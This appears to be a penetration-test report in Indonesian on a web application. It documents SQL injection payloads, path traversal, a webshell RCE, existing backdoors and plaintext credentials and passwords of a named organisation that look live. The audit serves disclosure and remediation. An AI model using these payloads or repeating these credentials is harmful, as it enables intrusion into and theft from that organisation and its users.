Deskripsi: File report/xlsExport.php mengeksekusi nilai parameter pShit secara langsung ke mysqli_query() tanpa autentikasi maupun sanitasi. Time-based probe (SLEEP(3)) mengonfirmasi eksekusi: CURRENT_USER() = root@% dengan hak SUPER_priv=Y dan File_priv=Y (MySQL 5.7.44, container b656734da0ec, IP 172.18.0.3). Endpoint ini juga dipanggil oleh backdoor WiNK melalui tombol 'Export to Excel'.

Bukti (Evidence):

  GET /report/xlsExport.php?pShit=SELECT SLEEP(3)  → delay 3.18 detik (normal 0.17s)
  GET /report/xlsExport.php?pShit=SHOW TABLES  → 106 tabel dari prod_dbvlegal_new dirender
  SELECT IF((SELECT SUPER_priv FROM mysql.user ...)='Y',SLEEP(3),0) → TRUE (root@%)
  File_priv=Y terkonfirmasi → dasar OUTFILE (dibatasi secure_file_priv)

Dampak (Impact):

• Eksekusi SQL arbitrer level root tanpa login — baca/tulis seluruh database (prod_dbvlegal & prod_dbvlegalnew).
• Kombinasi dengan kredensial bocor memungkinkan kompromi penuh data V-Legal/SILK.
• General log poisoning diuji — SET GLOBAL berhasil namun file tak muncul di webroot (MySQL & PHP berbeda container, volume tidak di-share).

Rekomendasi: Hapus parameter eksekusi SQL mentah; ganti dengan fungsi export berbasis data terstruktur; beri autentikasi & whitelist tabel/kolom; terapkan least-privilege DB (jangan root).

Referensi:

• https://owasp.org/Top10/A01_2021-Broken_Access_Control
• https://portswigger.net/web-security/sql-injection

Deskripsi: Parameter pAreaKerja (GET) digabung langsung ke query tanpa sanitasi (terbukti dari source lookup/showOutstanding.php01062018: WHERE areakerja=$vAreaKerjaOS). Eksploit boolean-blind berhasil mengekstrak 13.369 nomor invoice dari tabel trxmohon_hdr tanpa autentikasi.

Bukti (Evidence):

  GET /lookup/showOutstanding.php?pAreaKerja=1' AND (SELECT COUNT(*) FROM admuser)>0 AND '1'='1  → TRUE
  13.369 record no_invoice diekstrak karakter-per-karakter (skrip /tmp/silk_git/extract_invoice2.py)
  Source disclosure mengonfirmasi root cause: $vAreaKerjaOS=$_GET['pAreaKerja']; TANPA cleanQuery
  User koneksi: root@% — File_priv=Y, SUPER=Y

Dampak (Impact):

• Data breach total database V-Legal (invoice, perusahaan, transaksi) tanpa login.
• Dasar kombinasi dengan INSERT SQLi dan file-write untuk manipulasi data.

Rekomendasi: Validasi numerik + parameterized query; jangan pakai koneksi root pada query aplikasi; aktifkan audit log.

Referensi:

• https://owasp.org/www-community/attacks/Blind_SQL_Injection
• https://portswigger.net/web-security/sql-injection/blind

Deskripsi: Endpoint lookup (JSON autocomplete) merefleksikan nilai UNION tanpa filter. Endpoint terbukti mengeksekusi ekspresi UNION satu kolom pada koneksi root.

Bukti (Evidence):

  GET /lookup/autoComplete.php?pWhat=UB&pKodeIndustri=636 UNION SELECT 'M1' --  → nilai M1 tampil pada output JSON
  CURRENT_USER()=root@172.18.0.3 (container Docker MySQL)

Dampak (Impact):

• Ekstraksi data via UNION yang lebih cepat dibanding boolean-blind; tanpa autentikasi.

Rekomendasi: Prepared statement untuk seluruh parameter; batasi user DB aplikasi.

Referensi:

• https://owasp.org/Top10/
• https://portswigger.net/web-security/sql-injection

Deskripsi: Pada handler upload INS, nilai pKeteranganINS digabung langsung ke statement INSERT INTO trxfiles_mutasi_ins_lks tanpa cleanQuery(). Payload yang menutup VALUES dan mengisi kolom creaby/creadate tereksekusi: row baru masuk dengan marker attacker.

Bukti (Evidence):

  Payload: SQLICONF2-112233', 'SYSTEM', '2026-08-27') -- 
  Hasil verifikasi DB via boolean-blind: kata kunci=4691, keterangan='SQLICONF2-112233', creaby='SYSTEM', lokasi='files_mutasi_ins_lks/INS__.jpg'
  Flow: upload .jpg → move_uploaded_file sukses ('nama file diubah menjadi INS__.jpg') → INSERT tereksekusi
  Titik kedua di pDokumenINS (juga dipakai pada target path — arbitrary write .jpg)

Dampak (Impact):

• Modifikasi arbitrer tabel transaksi (trxfiles_mutasi_ins_lks) — injeksi data ke alur bisnis V-Legal.
• Kolom creaby bisa di-override (forensik menyesatkan).
• Kombinasi dengan traversal pDokumenINS = arbitrary file write (.jpg) + arbitrary delete via unlink pLokasiINS.

Rekomendasi: Gunakan parameterized INSERT untuk semua kolom; whitelist folder tujuan upload; jangan pernah meng-eksekusi query dengan user root.

Referensi:

• https://owasp.org/Top10/
• https://portswigger.net/web-security/sql-injection

Deskripsi: Filter pencarian (pFilter=NAMA) mencatat $_SESSION['sWhere'] dari pFilterValue tanpa sanitasi, lalu dikenakan pada query daftar industri. UNION berhasil: 11 kolom, kolom-2 dirender sebagai nama industri — exfil langsung di halaman.

Bukti (Evidence):

  Payload: x%' AND 1=2 UNION SELECT 1,USER(),3,4,5,6,7,8,9,10,11 -- 
  USER()=root@172.18.0.3 | VERSION()=5.7.44 | DATABASE()=prod_dbvlegalnew | @@hostname=b656734da0ec
  Source (tPilihIndustri.php.bak): $vFilter=" AND UCASE(a.nama) LIKE '%".strtoupper($_REQUEST['pFilterValue'])."%' "  — TANPA cleanQuery

Dampak (Impact):

• Exfil data via render UNION pada halaman — jauh lebih cepat dari blind.
• Akses root ke database kedua (prod_dbvlegalnew).

Rekomendasi: Parameterized query + session sanitasi; jangan simpan input user mentah ke session.

Referensi:

• https://owasp.org/Top10/
• https://portswigger.net/web-security/sql-injection

Deskripsi: Halaman publik beranda/rekapitulasi.php menempelkan $_SESSION['sWhere'] langsung ke query SELECT ... FROM mstindustri a {session}. Nilai sWhere di-poison melalui tPilihIndustri (pFilterValue tanpa sanitasi), sehingga sesi yang kita kendalikan mengeksekusi SQLi root pada halaman publik. (Identifikasi berbasis source disclosure .bak; eksploitasi penuh belum dijalankan.)

Bukti (Evidence):

  beranda/rekapitulasi.php.bak: $kSQL = "SELECT ... FROM mstindustri a ".$_SESSION['sWhere']."ORDER BY ..."
  tPilihIndustri.php.bak: $_SESSION['sWhere']=" AND a.no_SLK = '".@$_REQUEST['pFilterValue']."' "  (NOSLK — tanpa cleanQuery)

Dampak (Impact):

• SQLi tambahan pada permukaan publik; menunjukkan pola penggunaan input session yang tidak aman lintas halaman.

Rekomendasi: Tidak pernah menempelkan nilai session ke query; validasi input pada setiap handler; parameterized query.

Referensi:

• https://owasp.org/Top10/
• https://portswigger.net/web-security/sql-injection

Deskripsi: WiNK.php (143 baris, terbaca penuh) menyediakan UPLOAD SCRIPT BOX (upload file .php ke folder arbitrer tanpa whitelist) dan QUERY BOX (SQL console ke prod_dbvlegalnew sebagai root dengan kredensial hardcoded adm@DB#silk25). Hanya butuh sesi user level mana pun. Terdapat dua versi di repo git (page/ dan page23022022/) serta backup .bak/.bak.bak/.bak.bak.bak yang memperlihatkan pemeliharaan (rename DB prod_dbvlegal_new → prod_dbvlegalnew) — indikator aktivitas berulang.

Bukti (Evidence):

  Kode: <h2>UPLOAD SCRIPT BOX</h2> / <h2>QUERY BOX</h2>
  mysqli_query(mysqli_connect("mysql_app","root","adm@DB#silk25","prod_dbvlegalnew"), $_REQUEST['pShit'])
  Upload w.php → GET /w.php?c=id → uid=33(www-data) — RCE terkonfirmasi (marker WINKEXEC-778812)
  Diff .bak.bak.bak → .bak : hanya perubahan nama DB → tool dipelihara sejak lama
  File sejenis di repo: 7px.php, dokumen/Iogin.php, wp-sign.php, include/gajahkecil.php

Dampak (Impact):

• RCE penuh sebagai www-data; SQL root; pintu persisten.
• Indikasi server/repo pernah dikompromi dan backdoor dirawat.

Rekomendasi: Hapus seluruh file webshell; forensik akses (log, mtime, git history GitLab); rotasi SEMUA kredensial (DB root, SMTP); pemantauan WAF & integritas file.

Referensi:

• https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components

Deskripsi: Selain WiNK, teridentifikasi artefak kompromi lain: beranda/SLIDE_10.jpg berisi web shell publik "Commander" (self-replicate ke .php), SEO-spam RPJITU (460 KB halaman togel di images/berita/index.php dan include/cache.storage/public/jitu/), redirect /incu → diklikaja.id, dan file /tmp/.wsc1d8b1db0.php + /tmp/.wsc1eca8fb7.php (399 KB, timestamp 25-Agu-2026 — 3 hari sebelum audit) yang menunjukkan aktivitas attacker masih aktif.

Bukti (Evidence):

  SLIDE_10.jpg (web shell Commander) terverifikasi + SLIDE_10_new.png di repo
  images/berita/index.php = 460.142 byte SEO spam togel
  HTTP /incu → redirect 302 ke https://diklikaja.id/
  /tmp/.wsc*.php — dua file 399.XX KB, mtime 2026-08-25 (aktif!)
  Repo git mengandung Iogin.php (login palsu), wp-sign.php (spoof WordPress)

Dampak (Impact):

• Kompromi historis & ongoing; SEO spam = kerugian reputasi; backdoor aktif berisiko data breach lanjutan.

Rekomendasi: Insiden response: isolasi server, forensik lengkap, hapus semua artefak, rotasi kredensial, hardening.

Referensi:

• https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components

Deskripsi: Adminer 4.8.1 dapat diakses publik tanpa proteksi IP/htpasswd. Kombinasi kredensial yang bocor di source (root / adm@DB#silk25) memungkinkan login penuh ke server MySQL (mysql_app) — login sukses dikonfirmasi di sesi audit awal. Adminer = SQL console GUI; sama dampaknya dengan D1 namun lebih mudah digunakan attacker.

Bukti (Evidence):

  GET /adminer.php → halaman login Adminer 4.8.1 (versi tampil pada CSS/Links)
  Login root@mysql_app → prod_dbvlegal (sukses, sesi tidak dilanjutkan sesuai scope)
  Kredensial sama ditemukan di setiap file app (mysqli_connect("mysql_app","root","adm@DB#silk25",...))

Dampak (Impact):

• Akses GUI penuh ke seluruh database; bypass semua batasan aplikasi; potensi dump/alter massal.

Rekomendasi: Blokir akses publik ke /adminer.php (IP allowlist/VPN), hapus atau pindahkan file, rotasi password DB root, buat akun aplikasi terpisah ber-route least-privilege.

Referensi:

• https://www.adminer.org/

Deskripsi: Source code (terbuka via .git exposure, true source disclosure .bak, dan download langsung) memuat banyak kredensial: root/adm@DB#silk25, SMTP admin-silk/adm@SILK#2019 (172.16.100.245:587), GUSER/GPWD lama admin@silk-sucofindo.biz, serta integrasi SOAP ke liu.dephut.go.id.

Bukti (Evidence):

  include/xFile.php: mysqli_connect("mysql_app", "root", "adm@DB#silk25", ...) di seluruh file
  fAutoEmail: $mail->Username="admin-silk"; $mail->Password="adm@SILK#2019" (1.72.16.100.245:587 TLS)
  xFile.phpsugeng: GUSER='admin@silk-sucofindo.biz' / GPWD='[REDACTED]'
  nusoap_client('http://liu.dephut.go.id/ws/server2.php?wsdl','wsdl')

Dampak (Impact):

• Credential reuse lintas layanan; pivot ke email/internal/Dephut; dasar eksploitasi Adminer & xlsExport.

Rekomendasi: Hapus kredensial dari source; gunakan environment variables/vault; rotasi semua credential; pisahkan akun DB aplikasi vs admin.

Referensi:

• https://owasp.org/Top10/

Deskripsi: Menggunakan celah upload backdoor WiNK (D7), file w.php diunggah ke webroot dan dieksekusi: ?c=id mengembalikan uid=33(www-data) pada Ubuntu/kernel GCP (6.17.0-1022-gcp). Eksekusi kode jarak jauh (RCE) terkonfirmasi end-to-end; sesi berakhir dengan kebijakan freeze backdoor (tidak digunakan lebih lanjut).

Bukti (Evidence):

  REQUEST w.php?c=id → uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Marker verifikasi eksekusi PHP: WINKEXEC-778812
  php_sources & kernel: Linux 6.17.0-1022-gcp (container web) vs hostname MySQL b656734da0ec

Dampak (Impact):

• RCE penuh → pivot ke infrastruktur, grab semua kredensial & data.

Rekomendasi: Sebagai bagian remediasi D7/D8: pembersihan menyeluruh, monitoring file integrity, WAF.

Referensi:

• https://owasp.org/Top10/

Deskripsi: Nilai pDokumenINS (digunakan pada $newnameINS) dan pLokasiINS (dipassing ke unlink()) tidak disanitasi: traversal ../../ memungkinkan menulis file .jpg berisi PHP ke folder webroot mana pun, dan menghapus file arbitrer (termasuk file backup/source lain).

Bukti (Evidence):

  $newnameINS = $_REQUEST['pDokumenINS']."_".fDec(...)."_"...".".$extINS; $targetINS='files_mutasi_ins_lks/'.$newnameINS;
  unlink($_REQUEST['pLokasiINS']) — delete arbitrer (dikonfirmasi source 2022/2018)
  File REKAP_LMK__202607.jpg berisi <?php ... ?> terverifikasi tertulis di files_rekap/

Dampak (Impact):

• Write file PHP-in-jpg (tidak tereksekusi — PHP-FPM limit_extensions 403, sudah diuji)
• Delete file sebarang = sabotase/integrity loss.

Rekomendasi: Sanitasi path upload & hapus; batasi direktori tujuan; jangan re-use input sebagai path filesystem.

Referensi:

• https://owasp.org/Top10/
• https://portswigger.net/web-security/file-upload

Deskripsi: Halaman indexa.php melakukan include("page/".fDec($vPage).".php") tanpa validasi path — traversal ../../ memungkinkan pembacaan/eksekusi file .php mana pun di server (LFI). Digunakan untuk memuat handler detail/rekomPPDVL dan membaca source internal.

Bukti (Evidence):

  index.php?pPage=<fenc("../detail/rekomPPDVL")> → handler dieksekusi
  include page/../../../../lib/mysql-files/rce.php → ENOENT (konfirmasi container split — file MySQL tak terlihat PHP)

Dampak (Impact):

• Bypass kontrol akses halaman; pembacaan file; basis post-exploit.

Rekomendasi: Validasi allowlist halaman pada parameter pPage; jangan include dari input user.

Referensi:

• https://owasp.org/www-community/attacks/Path_Traversal

Deskripsi: Kolom userPassword menyimpan password dalam base64 fEnc (reversible) bukan hash. Semua password mengikuti pola {kata}#SC1! (backspace, ruzza, biji) — mudah ditebak & berlaku untuk banyak akun. Daftar lengkap diekstrak via SQLi (4 user di dev).

Bukti (Evidence):

  administrator (G001) → plaintext backspace#SC1!
  afif-badruzzaman (G003) → ruzza#SC1! | ahdian + dr_yuki_mahardhito → biji#SC1! (password sama!)
  checkLogin.php: AND a.userPassword = cleanQuery(fEnc($vPassword)) — verifikasi base64, bukan hash

Dampak (Impact):

• Login langsung ke akun; credential stuffing; pola menyebar ke lingkungan lain.

Rekomendasi: Ganti ke bcrypt/argon2; rotasi semua password; kebijakan password kuat & unik.

Referensi:

• https://owasp.org/Top10/A02_2021-Cryptographic_Failures

Deskripsi: Direktori .git dapat diakses; file index berhasil diunduh dan diparse menjadi 1.165 path file (seluruh struktur aplikasi, termasuk backup, file sensitif, dan webshell). Metadata menunjukkan remote origin https://gitlab.com/chyntia1204/svlk.git (privat); SHA blob memungkinkan rekonstruksi source bila objects dapat diakses.

Bukti (Evidence):

  GET /silk/.git/index → 79KB di-parse → 1.165 entries
  Origin: gitlab.com/chyntia1204/svlk.git (404/privat)
  Termasuk page/WiNK.php, 7px.php, dokumen/Iogin.php, wp-sign.php dll

Dampak (Impact):

• Source disclosure total: creds, logika bisnis, backdoor; langsung mendukung audit lebih dalam.

Rekomendasi: Blokir akses .git di web server (nginx: location ~ /\.git/ deny all); rotasi semua rahasia yang ada di repo.

Referensi:

• https://owasp.org/Top10/A05_2021-Security_Misconfiguration

Deskripsi: File backup *.bak dan varian ber-suffix tanggal (*.php01062018, *.-2022-08-16, dll.) disajikan sebagai teks statis (tidak dieksekusi PHP). Lebih dari 80 file source asli terbaca, termasuk report/genVLegal.php.bak (85 KB, logika ezPDF), tPilihIndustri.php.bak, xlsExport.php.bak, dan seluruh xFile.php versi 2018–2023.

Bukti (Evidence):

  GET /report/genVLegal.php.bak → 85.596 byte source asli (ezPDF Cezpdf)
  GET /page/tPilihIndustri.php.bak → 7.930 byte source (penyebab SQLi D5)
  GET /report/xlsExport.php.bak → 1.874 byte (SQL console tanpa auth)
  lookup/showOutstanding.php01062018 → source SQLi D2

Dampak (Impact):

• Audit kode penuh dari sisi attacker: menemukan SQLi, creds, backdoor.

Rekomendasi: Hapus semua suffix/backup dari webroot; deploy hanya file yang diperlukan.

Referensi:

• https://owasp.org/Top10/A05_2021-Security_Misconfiguration

Deskripsi: Load balancer GCP merespons header Host selain domain utama: Host: incu.silk.sucofindo.dev membocorkan dashboard OpenSearch (osd-name) milik klaster monitoring internal wazuh-poc.asia-southeast2-b.c.pik-vms.internal.

Bukti (Evidence):

  GET / dengan Host: incu.silk.sucofindo.dev → header response 'osd-name: wazuh-poc.asia-southeast2-b.c.pik-vms.internal'
  Indikasi SIEM Wazuh POC internal terekspos ke publik

Dampak (Impact):

• Info leak infrastruktur internal; permukaan serangan tambahan bila dikombinasikan.

Rekomendasi: Konfigurasi server_name whitelist di LB; nonaktifkan default vhost.

Referensi:

• https://owasp.org/Top10/A05_2021-Security_Misconfiguration

Deskripsi: Library EzPDF versi 009 (R&OS, 2004-2009): class.pdf.php melakukan unserialize() pada file cache font php_*.afm (folder ezPDF/fonts/ writable — cache ditulis library sendiri: php_Helvetica.afm 133 KB), class.ezpdf.php memiliki eval() template. Kondisi RCE siap (PHP 5.6.40 EOL + gadget), namun vektor menulis file .afm tidak tercapai (whitelist upload 9 ekstensi di semua handler) → tidak tereksekusi.

Bukti (Evidence):

  class.pdf.php openFont: $this->fonts[$font]=unserialize($tmp[0]);
  class.ezpdf.php execTemplate: eval($this->ez['templates'][$id]['code']);
  ezPDF/fonts/php_Helvetica.afm → a:22:{s:8:"FontName"... (cache serialized — folder writable)
  PHP/5.6.40 (X-Powered-By) — EOL, gadget UAF (CVE-2015-6831/32, CVE-2016-9935)

Dampak (Impact):

• Jika vektor tulis ditemukan (mis. via WiNK terlanjur ada) → RCE lewat unserialize PHP-ini.

Rekomendasi: Hapus ezPDF/upgrade ke driver PDF modern (mPDF/TCPDF); set folder fonts non-writable; patchnya PHP.

Referensi:

• https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components

Deskripsi: Source checkLogin.phpdefault (patch 28-05-2018) membatasi login: pada pukul 12:00–17:00 waktu server, query login memaksa AND a.kode_industri=0 — hanya akun non-industri yang bisa login; semua akun simulasi (kode_industri=636) ditolak. Ini bukan vulnerabilities klasik, namun anomali yang membingungkan dan berpotensi mengunci operasional cabang.

Bukti (Evidence):

  if($jam_sekarang >= $jam1 && $jam_sekarang <= $jam2) { ... AND a.kode_industri=0 ... } else { ... }
  Login pada jam di luar window → sukses (terverifikasi); di dalam window → gagal (dikonfirmasi user)

Dampak (Impact):

• Gangguan operasional; kontribusi confusion pada penilaian security.

Rekomendasi: Hapus pembatasan jam; audit siapa yang menambahkan dan mengapa.

Referensi:

Deskripsi: jQuery 1.4.2, 1.5.1, 1.9.1, 1.10.2, jQuery-UI 1.8.2 digunakan di seluruh frontend. Terdampak CVE-2012-6708, CVE-2014-6071, CVE-2015-9251, CVE-2019-11358 (prototype pollution), CVE-2020-11022/11023, CVE-2016-7103.

Bukti (Evidence):

  beranda/jquery-1.4.2.min.js; stylesheet/cal_jquery-1.10.2.js; stylesheet/jquery-ui-1.8.2.custom.min.js

Dampak (Impact):

• XSS saat pola $()/html() dipakai dengan data tak tepercaya; prototype pollution potensial.

Rekomendasi: Upgrade jQuery ≥3.7 & jQuery-UI ≥1.13; audit penggunaan html()/$().

Referensi:

• https://owasp.org/Top10/A03_2021-Injection

Deskripsi: NuSOAP 0.9.5 (2010) digunakan untuk integrasi WS LIU (liu.dephut.go.id). Tidak ada RCE, namun XSS & information disclosure terdokumentasi.

Bukti (Evidence):

  nusoap/lib/changelog → ending 2010-04-26 v0.9.5
  include/xFile.php: nusoap_client('http://liu.dephut.go.id/ws/server2.php?wsdl','wsdl')

Dampak (Impact):

• XSS pada output SOAP; kebocoran info lingkungan.

Rekomendasi: Migrasi ke SOAP client modern / REST; patchnya dependensi.

Referensi:

• https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components

Deskripsi: PHPMailer 5.0 (docs 5.0-phpdocs), EOL. CVE RCE (2016-10033/10045) memerlukan transport mail() — aplikasi memakai IsSMTP sehingga tidak applicable; namun CVE-2015-8476 (CRLF/SMTP injection) parsial relevan karena subject/body dibangun dari input user (mis. detail/gantiBlanko: pNamaImportir, pAlamat1-3).

Bukti (Evidence):

  fAutoEmail: $mail->IsSMTP(); Host=172.16.100.245:587; Username=admin-silk
  gantiBlanko: $vBody.="... ".$_REQUEST['pNamaImportir']."; ".$_REQUEST['pAlamat1']... (input user ke body)

Dampak (Impact):

• Email spoofing / SMTP command injection bila CRLF lolos ke header.

Rekomendasi: Sanitasi input untuk subject/body; upgrade PHPMailer ≥6.9.

Referensi:

• https://owasp.org/Top10/A03_2021-Injection

Deskripsi: File cgi-bin/cgiecho, cgiemail, randhtml.cgi, entropybanner.cgi (ELF64, legacy 2000-an) dapat diunduh — menyingkap arsitektur C lama. nginx tidak mengeksekusi CGI (disajikan statis) sehingga bukan RCE.

Bukti (Evidence):

  GET /cgi-bin/cgiecho → ELF 64-bit (23.384 byte), strings: X-Mailer: cgiemail, sendmail, HTTP_REFERER

Dampak (Impact):

• Info disclosure minor; potensi reuse binary lama bila FCGIwrap diaktifkan.

Rekomendasi: Hapus cgi-bin bila tidak dipakai.

Referensi:

• https://owasp.org/Top10/A05_2021-Security_Misconfiguration

Deskripsi: nginx 1.23.4 sebelum 1.25.3 rentan HTTP/2 Rapid Reset (CVE-2023-44487) — RST_STREAM loop → resource exhaustion.

Bukti (Evidence):

  Server header: nginx/1.23.4 (terverifikasi)

Dampak (Impact):

• DoS layer 7.

Rekomendasi: Upgrade nginx ≥1.25.3.

Referensi:

• https://nginx.org/en/security_advisories.html

Deskripsi: X-Powered-By: PHP/5.6.40 — EOL sejak April 2019. Ratusan CVE terbuka (contoh CVE-2015-6831/6832 SPL unserialize UAF, CVE-2016-9935 WDDX) — menjadi amplifier gadget untuk vektor unserialize (lihat E7).

Bukti (Evidence):

  HTTP response header: X-Powered-By: PHP/5.6.40

Dampak (Impact):

• Permukaan eksploitasi luas; gadget deserialization tersedia.

Rekomendasi: Migrasi ke PHP 8.x (atau minimal 7.4+) bersama Web server modern.

Referensi:

• https://www.php.net/eol.php

Deskripsi: Repo memuat .DS_Store (Mac) dan images/Thumbs.db (Windows) — metadata environment developer; sitemap.xml memuat domain prod https://silk.sucofindo.co.id (cross-leak domain); robots.txt Disallow: / (over-restrictif, menarik perhatian).

Bukti (Evidence):

  filelist: /silk/.DS_Store (10 KB), images/Thumbs.db (411 KB)
  sitemap.xml: <loc>https://silk.sucofindo.co.id/</loc> built with Free Online Sitemap Generator

Dampak (Impact):

• OSINT; metadata developer; leak alamat prod.

Rekomendasi: Bersihkan repo dari file metadata; perbaiki robots/sitemap.

Referensi:

Deskripsi: Seluruh upaya RCE memakai kerentanan native (tanpa backdoor/Adminer) diuji dan terblokir: (1) general log poisoning — SET GLOBAL sukses tapi file tak muncul di webroot → container MySQL & PHP TIDAK share volume; (2) INTO OUTFILE — secure_file_priv=/var/lib/mysql-files/ dan PHP tak dapat membaca path tsb (LFI ENOENT); (3) upload .php — whitelist 9 ekstensi di semua 11 handler; (4) upload .jpg ber-PHP — disajikan statis (403 FPM limit_extensions); (5) path-info cgi.fix_pathinfo — nginx tidak route (404); (6) double-ext/null-byte — 404/400; (7) LFI → include selalu append .php. Positif: hardening arsitektur ini mencegah RCE native.

Bukti (Evidence):

  SET GLOBAL general_log_file='/var/www/html/svlk/page/glogtest.php' → SUCCESS, file → 404 (beda container)
  LOAD_FILE('/var/www/html/svlk/index.php') → NULL (secure_file_priv)
  GET /files_rekap/REKAP_LMK__202607.jpg → 200 statis (bukan eksekusi)
  GET /files_rekap/REKAP_LMK__202607.jpg/x.php → 404; …jpg.php → 404; …%00.php → 400

Dampak (Impact):

• RCE native tidak dapat dieksekusi — memvalidasi nilai mitigasi arsitektur.

Rekomendasi: Pertahankan pemisahan container; lanjutkan whitelist; pasang WAF; tetap patchnya komponen.

Referensi: